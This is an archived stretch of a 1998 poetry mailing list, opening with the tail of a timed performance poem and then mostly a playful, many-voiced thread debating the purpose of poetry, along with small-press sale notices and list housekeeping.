time, by keeping pace with time it eliminates it. Is a person more in touch with time when he or she goes sideways, as it were, as I have been doing in these recent sentences, or when we insist on a path or way, some passage of time in some defining encampment? Like here we are now, studying my time dribbling away. I'm sure three minutes are gone. I cannot tell a lie. I was 30 or appeared 30 only yesterday, only a minute ago actually, and now I'm 45! In the old days, I would have been dead already. Thought would have ceased. But here I am, pushing 50, still thinking, thinking, for instance, in this instant, that I'm capable of thought, why does the sun go on shining, why does the sea rush to shore. If I have only a minute and thirty seconds left, let me make use of those 90 seconds in a measured, calm, fruitful manner. Why does my heart go on beating, as it beat in '63? Who was on keyboards? What Faustian bargain had I driven? I had learned language only to piss the time away? We don't always know just how long we have, the way I do today, but we do know we have a certain length of time, though unknown, and then, no more. We don't go around ever-mindful of this, I hope, for I would find that paralyzing. Knowing exactly how long one has, on the other hand, panics me. Just a moment. What is a moment? Take a small glass, fill with orange juice. Drink it. Immediately refill glass with non-dairy creamer. Drink. A moment can mean a minute. In the movie "Hour of the Wolf," there is one minute of real time where the actors on-screen hold their deliberate silence. It feels like forever. Let me do that now.

[15 second pause]

Yes, a minute. Good. In an average lifetime, that would equal nearly 4 years. Just a minute, the teenager said from behind her door, but she didn't mean to be taken literally. Literally, a minute is defined as 1/60th of an hour. Great. "Minute" is related to "my-newt. " "My-newt" means very small, and yet that minute we observed silently seemed long enough, to me. In an average lifetime we can expect billions of minutes, and this may make us careless. We may leave things to the last minute. Ten, nine. The hourglass, inverted 4 minutes ago, lets gravity trickle its sand into the overcrowded bottom half, a kind of symbol of the future, as the past rapidly empties out like a theater in which someone has lately shouted-Eight. Tock, the only answer to Tick. Seven. The stay has not arrived from the Governor. Six. If wants to be the same, the same as is. Five. Time held me green and dying, though I sang in my chains like the- Four. Where are the snows of yester-Three. Old age, what a strange thing to happen to a boy. Two. More light! One. Amstel Light. Z-z-z--I heard a fly buzz when I died--Z-z-z-z-Zorro to the rescue! I can go over my time, he says! Take as long as you want, he tells me! Tell us the story of your early childhood, the adolescent years, the troubles of early maturity, which in your case came late, tell us one of those stories of yours that begins "Shortly before I was born"! It may be our phone, but it's your 35 cents! Thank you, Z-z-z-z-z-z-z-z-z..... [eyes close, head drops to chest]

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5. Ctfarmr

what purpose

Thu 1 Jan 1998

Thank you all for your valiant efforts to keep the list afloat. I guess it's my turn to jump into the pool (blame it on Bromige: he told me to stop lurking). Anyway, a friend of mine recently posed the question, "What is the purpose of poetry?" So how would you answer that?

Bobbie West
(testing her new de-lurking device)

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6. Miekal And

wonder wonder

Thu 1 Jan 1998

---

is there a david bromidge website?

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7. Bob Grumman
Re: what purpose
Thu 1 Jan 1998

This question of Bobbie West's friend about the purpose of poetry is the easiest one I've had all year. Answer: the purpose of poetry is to achieve Beauty through the maximally-expressive use of words.

--Bob G.

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8. Judy Roitman
Re: what purpose
Thu 1 Jan 1998

> *This question of Bobbie West's friend about the purpose of poetry is the easiest one I've had all year. Answer: the purpose of poetry is to achieve Beauty through the maximally-expressive use of words.*
>
> *--Bob G.*

Beauty? Expressive? As purpose/means?

Nonono.

(But note she doesn't put up her own "answer." Just shy I guess.)

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

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9. Bob Grumman
Re: what purpose
Thu 1 Jan 1998

Ha, I knowed I'd catch ol' Judy.

Evilly, Bob G.

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10. Lawrence Upton.

Re: what purpose

Thu 1 Jan 1998

|What is the
|purpose of poetry?" So how would you answer that?
|
|Bobbie West

What purpose does a flower or a rock have? What purpose do we have?

Q: Why are you writing that?
A: Why not?

L

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11. Kasey Silem Mohammad Hicks

Re: what purpose

Thu 1 Jan 1998

> *|What is the*
> *|purpose of poetry?" So how would you answer that?*
> *|*
> *|Bobbie West*
>
> *What purpose does a flower or a rock have? What purpose do we have?*
>
> *Q: Why are you writing that?*
> *A: Why not?*
>
> *L*

Nonsense. There are always purposes for everything.

The purpose of a flower is to attract bees.
The purpose of a rock is to smash bees with.
The purpose of us is to smash bees with rocks.
The purpose of poetry is to smash flowers.

Q: Why are you writing that?
A: Because flowers are full of bees.

K. S. M. H.

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12. david bromige
purpose in poetry, purpose of poetry
Thu 1 Jan 1998

Take my New years Eve poem as instance. I was irritated that more readers were being shoehorned into a finite allotment of time, and that each person's moiety was therefore to be reduced. This was at a planning luncheon. I didnt express my irritation, because there was no chance of winning the fight, so why fight? But it stayed with me, and by next day I wrote the first draft of a real-time piece on the topic of limited time. So that piece expresses my irritation, but I think it disguises what it expresses. I hope so. What is more vital to me is that the disguise plays with a variety of purposes to which we put our time. In my mind, the purpose of the piece is minatory, first and foremost, is another way of saying Carpe Diem. An ancillary purpose was to keep those reading after me (I elected to read 3rd) mindful of the 5-minute limit(I have often noted at these "monster" readings, that poets go way over their allotment. While I appreciate that poets are transgressive, I dont appreciate it when they trespass on my time, or that of others, and this is not only by reducing further our allotments, but by making us sit there for longer).This poem may have had this effect on some, but on one as I say it made no dent. I wanted the piece to dance questions about finitude and its role in creativeness. And I wanted people to appreciate what "five minutes" can be. I wanted to take back the clock. And yes, I wanted a form for my anxiety about running out of time in a larger sense. I mean thats a free-floater thats liable to attach anywhere it can. I wanted to entertain and amuse. I wanted people to like me. And I wanted to do it by getting in their faces a little. I'm sure there's more to it than this.

Bob Grumman's definition I can have no quarrel with, because it is so abstract. Au fond, who knows? it might apply to my poem, and to any poem. But at some intermediate stage of responding to Bobby West's question, this above is what I say. David

↑ Index

13. david bromige
tony lopez's bouncing mail
Thu 1 Jan 1998

Could someone in england get tony on the blower and ask him to look into his e-mail server's situation? It's a minor matter, but multiply it by 512 or however many are on the Poetics List, and that seems like a situation thats worth speedy correction. Thanks. david

↑ Index

14. Daniel Zimmerman
Re: what purpose
Thu 1 Jan 1998

Ctfarmr wrote:
>
> Thank you all for your valiant efforts to keep the list afloat. I guess it's
> my turn to jump into the pool (blame it on Bromige: he told me to stop
> lurking). Anyway, a friend of mine recently posed the question, "What is the
> purpose of poetry?" So how would you answer that?
>
> Bobbie West
> (testing her new de-lurking device)

Poetry adds volcanic islands to the sea along its unseen ridges. Whether it has a purpose or not, wings cross it, roost, drop white nitrogen & seeds, raise a greenness. If springs rise with their magma, its islands invite refuge, treasure-stash, settlement -- purpose. Not poetry's purpose, or even the poem's, but purpose without which poem and poetry remain vacuous except to fencebuilding finches. A poet may, like Tom Sawyer with his whitewash pot, have a purpose, but had better not name it "painting the fence." Remember, though: even Tom has to start the paint job -- & make it look more interesting than anything else in the carefree days of childhood. How long does it take the painters to get the knack, to spot the trick, to offer to paint a fence? How many paint the fence alone? To what purpose? Ever make a salt map of the sea floor, then paint in the water? It makes the islands credible, attractive, worth naming. But you paint it anyway.

Daniel Zimmerman

↑ Index

15. Daniel Zimmerman
Re: what purpose
Thu 1 Jan 1998

Ctfarmr wrote:
>
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> my turn to jump into the pool (blame it on Bromige: he told me to stop
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>
> Bobbie West
> (testing her new de-lurking device)

Poetry adds volcanic islands to the sea along its unseen ridges. Whether it has a purpose or not, wings cross it, roost, drop white nitrogen & seeds, raise a greenness. If springs rise with their magma, its islands invite refuge, treasure-stash, settlement -- purpose. Not poetry's purpose, or even the poem's, but purpose without which poem and poetry remain vacuous except to fencebuilding finches. A poet may, like Tom Sawyer with his whitewash pot, have a purpose, but had better not name it "painting the fence." Remember, though: even Tom has to start the paint job -- & make it look more interesting than anything else in the carefree days of childhood. How long does it take the painters to get the knack, to spot the trick, to offer to paint a fence? How many paint the fence alone? To what purpose? Ever make a salt map of the sea floor, then paint in the water? It makes the islands credible, attractive, worth naming. But you paint it anyway.

Daniel Zimmerman

↑ Index

16. Daniel Zimmerman
'scuse me
Thu 1 Jan 1998

Sorry if you got my reply to Bobbie West twice -- I received a 'message not sent' from Tony Lopez' mail administrator, & didn't know whether that would inferfere with transmission of the post to everyone else on teh list or not, so I reposted. Then, of course, I realized that it probably affects only Tony's mail. Has anyone gotten through to him yet?

Happy New Year!

Dan Zimmerman

↑ Index

17. robert drake
Re: purpose in poetry, purpose of poetry
Thu 1 Jan 1998

david--

i think isnt there a significant difference between th question "what is the purpose of poetry?" & "what is the purpose of this particular poem" (or "what is the author's purpose behind the poem s/he wrote?")... drawing these distinctions cuz ov my own belief that "poetry" is more than sum total of a corpus ov poems, but the whole social construct of attending to some instances of language ("poems") as different in kind from other non-poetic instances... so that th orginal question--what is the specific purpose of _poetry_, distinguised from the purpose(s) of language in general--seems interesting to me, in ways that questions about the meaning of life dont... i dont have an answer.

luigi-bob drake
www.burningpress.org

> *Take my New years Eve poem as instance. I was irritated that more readers were being shoehorned into a finite allotment of time, and that each person's moiety was therefore to be reduced. This was at a planning luncheon. I didnt express my irritation, because there was no chance of winning the fight, so why fight? But it stayed with me, and by next day I wrote the first draft of a real-time piece on the topic of limited time. So that piece expresses my irritation, but I think it disguises what it expresses. I hope so. What is more vital to me is that the disguise plays with a variety of purposes to which we put our time. In my mind, the purpose of the piece is minatory, first and foremost, is another way of saying Carpe Diem. An ancillary purpose was to keep those reading after me (I elected to read 3rd) mindful of the 5-minute limit(I have often noted at these "monster" readings, that poets go way over their allotment. While I appreciate that poets are transgressive, I dont appreciate it when they trespass on my time, or that of others, and this is not only by reducing further our allotments, but by making us sit there for longer).This poem may have had this effect on some, but on one as I say it made no dent. I wanted the piece to dance questions about finitude and its role in creativeness. And I wanted people to appreciate what "five minutes" can be. I wanted to take back the clock. And yes, I wanted a form for my anxiety about running out of time in a larger sense. I mean thats a free-floater thats liable to attach anywhere it can. I wanted to entertain and amuse. I wanted people to like me. And I wanted to do it by getting in their faces a little. I'm sure there's more to it than this.*
>
> *Bob Grumman's definition I can have no quarrel with, because it is so abstract. Au fond, who knows? it might apply to my poem, and to any poem. But at some intermediate stage of responding to Bobby West's question, this above is what I say. David*

↑ Index

18. David R. Israel

Re: what purpose

Fri 2 Jan 1998

Taking up the popular Bobbie Wester (& happy January 2 to y'all, btw), --

> *the question, "What is the purpose of poetry?"*

one good question deserves another:

what is the poetry of a purpose?

&/or little variations thereon ---

e.g. what poetry does a purpose have?
what's the poetry of purpose & how might it compare w/
the poetry of purposelessness? (cf. Zhuang-zi / Chuang-Tse)
(et seq.)

cheerio,
d.i.

```
 .
 .....
 ............
 \\\\
```

s/he wants to know why I write, I'd say some of the things that inspire me, but if s/he seriously wants me to answer the question as stated and no other question, then I'd refill the coffee cups and begin with defining what poetry is. By the time I finished that, assuming I didn't encounter too much resistance to my quirky definition, the answer would be obvious. I can guarantee an argument to my quirky definition, though, so my answer would probably not be accepted. For what it is worth, I view all drama (including movies and opera), all songs (including pop), all narrative (including jokes) as types of poetry. I don't use the word to mean "good" arrangements of words, I just use it to refer to any art made out of words. That's the classical definition, and it's good enough for me. So anyone who doesn't feel a need to ask what's the purpose of a sit-com or a rock song, shouldn't need to ask what is the purpose of poetry. Memory, of course.

The somewhat more flippant answer, and possibly more true is that there is no such thing as this "poetry" refered to in the question. There are only people who write poems. Each poem has its own purpose. Unlike l-b drake I don't think there is any "whole" that exceeds the sum of these poems. In fact, when most people mention this mythical beast "poetry", they usually refer to only a small subset of remembered poems.

So those are my two answers that seem to negate each other. One in which the word includes so much it can't possibly be defined except so loosely that the question is moot, and the other in which the word is dismissed as a myth. Perhaps that's because we have no rigid rules to follow when writing poems these days. Perhaps the question is seeking a set of such rules. People who want to write within rules should write formal work like movie scripts or rock songs and keep away from the more esoteric areas where writing-by-numbers is frowned on. In these areas, certain Yankee values of individualism and self-reliance are expected and any obedience to external forms is considered a weakness.

Still, at its core, writing is an act of remembering. What is the purpose of remembering?

Pete
[redacted]

↑ Index

20. George Bowering
Re: wonder wonder
Fri 2 Jan 1998

> *is there a david bromidge website?*

Who is that?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

21. Stephen Cope

Fibonacc Lit,

Fri 2 Jan 1998

The book is Silliman's LIT, but I can't recall the publisher, year, etc.

Best regards in 98,

Stephen Cope

> *And a more general query for Ron Silliman or anyone else: in which book of Ron's can I find the poem based on the Fibonacci series? Is it called "Fibonacci Series"? Or something else? You see, my mother handwove me a rayon chenille opera-length scarf this Xmas and the thread pattern is based on the Fibonacci series. It's quite the most beautiful thing, both to look at and wear. I shall wear it out tonight, ignorant of its intricacy, yet delighting in it all the same.*

↑ Index

22. Hugh Steinberg

Re: what purpose

Fri 2 Jan 1998

Pete Landers writes:

> *Still, at its core, writing is an act of remembering. What is the purpose of remembering?*

So that the world is not lost, and maybe that's a purpose for poetry too.

Hugh Steinberg

↑ Index

23. Bob Grumman

Re: purpose in poetry, purpose of poetry

Fri 2 Jan 1998

I agree with David Bromige that my answer to the purpose of poetry is, as stated, way too abstract to be of use. However, if one understands the terms

"beauty," "poetry" and "expression" as I do (at an even higher level of abstraction!), it's not too useless.

I don't have time now to get into George Bowering's responses, "Why beauty?" and "Why expressive?" but will say: (1) the reason I don't commit suicide is that I believe happiness is possible for me and other human beings; there is only pleasure/pain, happiness/unhappiness; beauty as I define it is a form of mainly sensual/sensory happiness, a particular form of which should be the ultimate aim of poetry, as I define it; (2) words express, that's why "expressive"; they are also sensually pleasurable in themselves auditorily and visually, which I left out in my answer because I was rushing too much as usual.

So here's my revised answer: The purpose of poetry is to achieve Beauty through the maximally-expressive and sensually-rich use of words.

--Bob G

↑ Index

24. Henry Gould

Re: what purpose

Fri 2 Jan 1998

A few days ago I watched a video called "Troublesome Creek" which was a documentary about a farm family (much like my grandparents') in Iowa trying to keep it going. The 2 images that struck me the most in this well-pictographed picture were 1) the long grass along the flat dirt roads always swaying in the wind and 2) the crowd of farmers collected in the January cold to respond by slight flicks & winks to the incredibly fast-talking auctioneer of all the family's household goods.

Words are an inside thing, a human invention, a mirror.
It's a good mirror in that it grasps & captures & replays
the whole outside. This is what verbal intelligence does,
encapsulates what's going on. (Of course it only feels right
if the outside is really in there.)

Poetry's a version of that, only it makes the mirror sing. A harmony of thought brought to equivalent expression in language. So harmonious that sometimes the outside rightfully becomes the inside or vice-versa or verse-visa.

Now what's the purpose of that?
Sing, sing, sing along...
you find yourself singing along with the "Ode to a Tin Ear".

- Cowboy Hank

p.s. I have an essay in the latest WITZ sort of tongue-in-cheeking this issue of the "telos" or purpose of poetry.

↑ Index

25. sylvester pollet

Re: purpose in poetry, purpose of poetry

Fri 2 Jan 1998

> *So here's my revised answer: The purpose of poetry is to achieve Beauty through the maximally-expressive and sensually-rich use of words.*
>
> *--Bob G*

The purpose of poetry is to escape the cages of its definers. What's the porpoise of poetry? Go ask a dolphin.

↑ Index

26. Maria Damon

Re: what purpose

Fri 2 Jan 1998

At 9:57 PM +0000 1/1/98, Lawrence Upton. wrote:
>|What is the
>|purpose of poetry?" So how would you answer that?
>|
>|Bobbie West
>
>
>What purpose does a flower or a rock have? What purpose do we have?
>
>Q: Why are you writing that?
>A: Why not?
>
>L

what is the purpose of human reproduction. what is the purpose of our cerebral operations. what is the purpose of mathematics. what is the purpose of purposiveness.

↑ Index

27. Maria Damon
lopez loops
Fri 2 Jan 1998

---

having now gotten the lopez message a few times i must say i find it quite moving, like that david bowie song about major tom ... all that to-do about one little msg searching for its destination in the global whirlwind of cyberspace... there's a wistfulness about it, an existential loneliness uttered by a system that is so mechanized that it doesn't even care that it cares...md

↑ Index

28. sylvester pollet
Re: what purpose
Fri 2 Jan 1998

At 7:24 AM -0600 1/2/98, Maria Damon wrote:
>what is the purpose of human reproduction.

Make kids.

what is the purpose of our
>cerebral operations.

Figure out what's causin' em.

what is the purpose of mathematics.

Count how many you got.

what is the
>purpose of purposiveness.

Invent contraceptives.

↑ Index

29. Bob Grumman
Re: purpose in poetry, purpose of poetry
Fri 2 Jan 1998

Ooops, I forgot the conceptual in my answer to the question about the purpose of poetry, something that came up in back-channels with Judy Roitman, so I have a second revision of my answer:

The purpose of poetry is to achieve Beauty through the maximally- expressive, sensually-rich and aesthetico-conceptually-intense use of words--aesthetico-conceptual having to do with what words are or do conceptually (e.g., Aram Saroyan's "lighght" conceptualizes silence), and the abstract form, harmonies, etc., of individual poems.

--Bob G.

↑ Index

30. **robert drake**
Re: what purpose
Fri 2 Jan 1998

Peter L writ:
>...
>The somewhat more flippant answer, and possibly more true is that there
>is no such thing as this "poetry" refered to in the question. There are
>only people who write poems. Each poem has its own purpose. Unlike l-b
>drake I don't think there is any "whole" that exceeds the sum of these
>poems. In fact, when most people mention this mythical beast "poetry",
>they usually refer to only a small subset of remembered poems.
>...

pressing a small point (but do we really disagree?)--it's exact that mythology which interests me in th question, and mythology ov course is "real" if only (because it is) image-inary... refering to those specific or small subsets of individual poems is only different than that larger abstraction (not better/worse); and so bromige's fine examination of his purpose in that particular poem i thingk begs th larger question*... what's the purpose, culture's purpose, in privilaging (underprivilaging?) some small subset (differently remembered by each participant in th culture) of it's utterance as "poetry"? as sed, i'm not sure ov an answer, tho i suspect it's more than bob g's quantitative "maximized" measure ov pleasurable expression...

lbd

*unless, i suppose, some aggregate examination of individual poems revealed some common purpose--to delight & instruct, frinstance?-- but that's old news... (that stays news?...)

↑ Index

31. **henry g**
Re: what purpose
Fri 2 Jan 1998

On Fri, 2 Jan 1998 09:10:44 -0500 robert drake said:
>larger question*... what's the purpose, culture's purpose, in
>privilaging (underprivilaging?) some small subset (differently
>remembered by each participant in th culture) of it's utterance
>as "poetry"? as sed, i'm not sure ov an answer, tho i suspect it's

>more than bob g's quantitative "maximized" measure ov pleasurable
>expression...
>

When you learned your 1st words from mother or father it was delight & instruction & strenuous exercise all in one. (My mother wrote down my 1st 2 words: "door" & "flower" - do I believe that?.) You've been repeating them in complicated variations ever since. Especially when you learned that the flower grows at the doorstep & blooms on the Day of the Dead. - Henry G.

↑ Index

32. **Gwyn McVay**
Re: what purpose
Fri 2 Jan 1998

How about: the best words in the best disorder?

Gwyn

↑ Index

33. **JforJames**
Re: what purpose
Fri 2 Jan 1998

Plosively: Poetry presupposes its own purpure.

Finnegan

↑ Index

34. **Jordan Davis**
Re: what purpose
Fri 2 Jan 1998

I thought poetry wasn't supposed to have a purpose! "I/they don't have no function." Then Mary Burger restated this idea in Laura Moriarty's _non_ (http://socrates.berkeley.edu/~moriarty) and the ale fell from my hand. Thank heavens for fallback positions -- poetry is celebration! You write it when you are happy or having some other feeling you want to give other people and to have again yourself, and when you go back, the feeling is there. The rest is tenure.

Jordan, who says happy new year

↑ Index

35. **JforJames**
Re: what purpose
Fri 2 Jan 1998

In a message dated 98-01-02 10:07:31 EST, you write:

> *Plosively: Poetry presupposes its own purpure.*

Ouch--first typo of '98: Poetry presupposes its own purpose.

Finnegan

↑ Index

36. **Jack Spandrift**
Re: what purpose
Fri 2 Jan 1998

On Fri, 2 Jan 1998 10:34:50 -0500 Jordan Davis said:
>Thank heavens for fallback positions -- poetry is celebration! You write
>it when you are happy or having some other feeling you want to give other
>people and to have again yourself, and when you go back, the feeling is
>there. The rest is tenure.

Jor D hit it in a nutshell, I reckon, & to put the same thing in Kosmo-Classic perspective, as (who?) O. Mandelstam says someplace, "poetry is the plow bringing the deep layers of time up to the surface." - or something like that.

To illustrate, here's an early poem by that human headache, Henry Gould:

the well is always there
a decade of water
the soldiers pass by
& today the girls are among the clowns
each hiding an arm or wearing a red dance
standing around the well always there

(1971)

Hep Gnu Year, all - Jack Spandrift

↑ Index

37. **Jack Spandrift**
COrrection
Fri 2 Jan 1998

Here's the corrected version of the early Gould poem posted earlier.

the well is always there
a decade of water
just a well
the soldiers pass by
& today the girls are among the clowns
each hiding an arm or wearing a red dance
standing around the well always there
(1971)

- when I asked him which version he approved of now, I couldn't get a straight answer. He said, "Well, it is just a well.
Try it to the tune of 'Down in the Valley'." (I did, with no luck.)

The printed version can be found in his Hellcoal Press chapbook of 1972 called (yes this is the real title) "Where the Skies Are Not Cloudy All Day". There the poem includes the following quote, from Horizon Magazine (1971):

"The letters add to the elegance of a structure, even if their meaning is hid from those not familiar with the language. Here, they tell how a piece of the True Cross was discovered in 1045 and preserved in the building. The entire roof has collapsed, the interior yawning hollowly in the direction of the Soviet Union."

(It's a good question whether such "inscriptions" add to the elegance of a poem or not. I asked Gould about this too, and again he was, as Blarnes would put it, noncommittal, or "chiffery-chaffery". He said, and I quote & I quote & I quote again quote:

"This particular thing, or what? Well, I didn't write it, did I? I stole it outa some magazine, Jack. If it means something to you, then, well, you probably shouldna read it in the first place. Hey, can I borrow your hat tonight? I need to busk down in the Ken Station & raise some jimmy." [is he referring to Jimi Hendrix here?]

- don't ask me... - Jack Spandrift

↑ Index

38. Judy Roitman

Re: purpose in poetry, purpose of poetry

Fri 2 Jan 1998

> *I agree with David Bromige that my answer to the purpose of poetry is, as stated, way too abstract to be of use. However, if one understands the terms "beauty," "poetry" and "expression" as I do (at an even higher level of abstraction!), it's not too useless.*
>
> *I don't have time now to get into George Bowering's responses, "Why beauty?" and "Why expressive?" but will say: (1) the reason I don't*

> *commit suicide is that I believe happiness is possible for me and other human beings; there is only pleasure/pain, happiness/unhappiness; beauty as I define it is a form of mainly sensual/sensory happiness, a particular form of which should be the ultimate aim of poetry, as I define it; (2) words express, that's why "expressive"; they are also sensually pleasurable in themselves auditorily and visually, which I left out in my answer because I was rushing too much as usual.*
>
> *So here's my revised answer: The purpose of poetry is to achieve Beauty through the maximally-expressive and sensually-rich use of words.*
>
> *--Bob G*

Ah, Beauty. Especially "beauty as I define it... mainly sensual/sensory happiness."

Poor undefined Beast on the balcony, wind in fur, teeth bared to the moonlight, champagne glass shattered on the tiles below. No doubt howling to, no doubt, no moon.

And Truth? The fill-in-the-blank part of "____ and Beauty?" Hiding in the forest, from Beauty, not Beast.

Gentle reader, how have you gendered the above?

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

39. Steve Evans
ILS Special Offer
Fri 2 Jan 1998

The Impercipient Lecture Series is moving its editorial offices from Providence to Paris effective February 1998. Orders for back issues, including a small number of full runs, will be filled through 10 January and may be placed by e-mail. Now would also be a good time to update your mailing address if it has recently changed.

1.10 Dictionary of Received Ideas by "Bouvard & Pécuchet"
1.9 Vexations by Damon Krukowski

1.8 The Bride of the Assembly Line by Barrett Watten
1.7 Five Years in the Life of Jack Spicer by Lewis Ellingham and Kevin Killian
1.6 No Saints in Three Acts: On Stephen Jonas by Aldon L. Nielsen
1.5 Imperturbable Things: On Still-Life Poetics by Beth Anderson
1.4* Readings & Responses to Bob Perelman's _The Marginalization of Poetry_ by Ron Silliman, Ann Lauterbach, Juliana Spahr and Steve Evans; with counter-response by Bob Perelman
1.3 The Ground is the Only Figure by Rosmarie Waldrop
1.2 Radical Dogberry & Society Sketches by Chris Stroffolino
1.1 The Dynamics of Literary Change by Steve Evans

* The contents of this pamphlet, stylishly reformatted for the web by John Tranter, can also be found in JACKET 2, the John Ashbery issue <http://www.jacket.zip.com.au/jacket02/marginalization02.html>. A no-frills webpage for the ILS resides, through the kind offices of Loss Glazier, at the EPC <http://writing.upenn.edu/epc/presses/impercipient_lecture.html>.

Special "clearance" rates until the 10th are $20 for a full run; $3 for individual issues. Please make checks out to Steve Evans or Jennifer Moxley (those made out to the magazine cannot be processed). If ordering by e-mail be sure to include your street address.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

ILS before 31 January:
61 East Manning Street
Providence RI 02906-4008
[redacted]

ILS after 1 February:
#7 rue Quinault
Paris 75015

↑ Index

40. Lawrence Upton.

Re: what purpose

Fri 2 Jan 1998

Yes! We can *give things a purpose, put them to use, but they don't have that purpose inherently

L
|>What purpose does a flower or a rock have? What purpose do we have?
|>
|>Q: Why are you writing that?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

|>A: Why not?
|>
|>L
|
|what is the purpose of human reproduction. what is the purpose of our
|cerebral operations. what is the purpose of mathematics. what is the
|purpose of purposiveness.
|

↑ Index

41. **Steve Evans**
ILS Correction
Fri 2 Jan 1998

I made an error in typing the street address for the ILS after 1 February: it will be #9 rue Quinault, Paris 75015.

happy new year / any time of year. (Louis Zukofsky)

↑ Index

42. **Maria Damon**
Re: what purpose
Fri 2 Jan 1998

At 10:01 AM -0500 1/2/98, JforJames wrote:
>Plosively: Poetry presupposes its own purpure.
>
>Finnegan

nice

↑ Index

43. **Maria Damon**
Re: what purpose
Fri 2 Jan 1998

At 10:47 AM -0500 1/2/98, JforJames wrote:
>In a message dated 98-01-02 10:07:31 EST, you write:
>
>>Plosively: Poetry presupposes its own purpure.
>>
>
>
>Ouch--first typo of '98: Poetry presupposes its own purpose.

>
>Finnegan

shoot; i thot this was on purr-purr.

↑ Index

44. robert drake
B&A announces Interrobang, paying hypertext quarterly
Fri 2 Jan 1998

perhaps this will be of interest...

> *Date: Fri, 2 Jan 1998 14:23:02 -0500 (EST)*
> *From: B&A New Fiction <[redacted]>*
> *To: [redacted]*
> *Subject: B&A announces Interrobang, paying hypertext quarterly*
> *Reply-To: [redacted]*
>
> *B&A New Fiction announces Interrobang: Postage for the Post-age*
>
> *B&A New Fiction, Canada's best-selling fiction magazine, will strike new ground with the introduction of hyperfiction in every issue in its new section Interrobang: Postage for the Post-age. B&A's mandate has always been to publish new and emerging writers, and our neo-focus will now include new forms. Each issue of B&A will contain an excerpt of a single instance or reading of a hyperfiction in the print edition, with the full text linked version available on-line at our website. We are seeking short hyperfiction from any and all writers. B&A appears quarterly, and authors will be paid $100 per story on publication. For more information visit B&A at http://www.interlog.com/~fiction/interrobang, or e-mail Neil Hennessy, Internet Editor, at [redacted]*

↑ Index

45. Maria Damon
Re: what purpose
Fri 2 Jan 1998

apparently my older sister's first word was "reflection," after my father repeatedly showed her the way the river (hudson) cast moving squiggles of light on the living room wall, and, of course, in connection w/ this showing, repeated the word "reflection" a number of times. this legend passed into the myth of her general intellectual superiority, which seems to have gone unnoticed by her but absorbed by me, just as the myth of *my* intellectual superiority seems to have

gone unnoticed by me but absorbed by her (who pointed it out to me 34 yrs after the supposed fact). i have no idea what my first words were.

At 9:16 AM -0500 1/2/98, henry g wrote:
>On Fri, 2 Jan 1998 09:10:44 -0500 robert drake said:
>>larger question*... what's the purpose, culture's purpose, in
>>privilaging (underprivilaging?) some small subset (differently
>>remembered by each participant in th culture) of it's utterance
>>as "poetry"? as sed, i'm not sure ov an answer, tho i suspect it's
>>more than bob g's quantitative "maximized" measure ov pleasurable
>>expression...
>>
>
>When you learned your 1st words from mother or father it was delight
>& instruction & strenuous exercise all in one. (My mother wrote down
>my 1st 2 words: "door" & "flower" - do I believe that?.) You've
>been repeating them in complicated variations ever since. Especially
>when you learned that the flower grows at the doorstep & blooms on
>the Day of the Dead.
>- Henry G.

↑ Index

46. Bob Grumman
Re: what purpose
Fri 2 Jan 1998

Maria Damon wrote:
>
> At 10:47 AM -0500 1/2/98, JforJames wrote:
> >In a message dated 98-01-02 10:07:31 EST, you write:
> >
> >>Plosively: Poetry presupposes its own purpure.
> >>
> >
> >
> >Ouch--first typo of '98: Poetry presupposes its own purpose.
> >
> >Finnegan
>
> shoot; i thot this was on purr-purr.

Yes, it HAD to be. Purpure--purer than purpose! Don't back out of it, Finnegan!

--Bob G.

↑ Index

47. Eric Blarnes
Re: purpure
Fri 2 Jan 1998

I say, ladies & gents, you might just want to have a look at my essay in Wilmot Trudgeley's compilation, RUSSO-FUTURO-PASTANOODYELCHIK : EFFORTS & CONFUSIONS (Univ. of Left Overbie Pr, 1995), titled

"The Purrfect Plupurrfect Poesia Purpurr of Aleksandr Pushkin : Meow & Eternity in Pterodactylic Backfeet" (pp. 1003-847)

It's a "groove", heh-heh!

- Eric Blarnes, O.E.D.ph.-4

[p.s. ignore Randall Stubbin's positively ignoble rebuttal (pp. 846 - 12)]

↑ Index

48. Miekal And
& other raves & others behave
Fri 2 Jan 1998

Gwyn McVay wrote:

and discovered that if you allow the "m" for "n" substitution (some
> anagrammists don't), you can also make her name into "runic Zaum.

at this point the ghost of kamensky takes his cue
marks space with sounds & cryptics only we choose to understand

↑ Index

49. Poetics List
Eshleman's Antiphonal Swing [sale announcement]
Fri 2 Jan 1998

> *Date: Fri, 02 Jan 1998 12:09:08 -0500*
> *From: bmcpher <[redacted]>*
> *Subject: Re: Eshleman's Antiphonal Swing*

A Special Notice and Offer

A month ago I presented a special offer to Sulfur magazine subscribers who might wish to acquire the volume of Clayton Eshleman’s selected literary essays titled Antiphonal Swing, which I brought out several years ago. You’re probably aware of Eshleman’s editorial and critical contributions to American poetics: his

successive editorial stewardship of Caterpillar and Sulfur magazines has had a profound influence on progressive and experimental areas of American poetry. For many years Eshleman has written incisive, provocative, even feisty essays on numerous poets and movements, as well as on the related subjects of translation, apprenticeship, and the paleolithic roots of consciousness — all of which are covered in this rather large volume. eneral one.

To bring this book within reach of almost everyone who may be interested, and because I'd like to continue to publish books like Antiphonal Swing — by Clayton as well as other writers — I am extending the Sulfur offer to the Poetics List.

The list price of this 264-page hardcover book is $25. You may order it postpaid for $20 (in effect you are paying $17 for the book, a 32% discount, since we ship all orders via $3 priority mail). If you like, we can also send the book as a gift to another address, at your instruction. This one-time offer is limited to individuals, and all orders must be postmarked by February 20, 1998. A more complete description of the book follows below, along with reviews and a mail-order form. Please don't send your order via e-mail, since our site is not yet secure for receiving charge card orders. (Note, too, that we can accept only American Express or Optima charges.)

If you have any questions or suggestions, please e-mail me: [redacted]

Yours,
Bruce McPherson
McPherson & Company
P.O. Box 1126
Kingston, New York 12402
[redacted] / [redacted]
Complete catalogue: (http://www.mcphersonco.com)

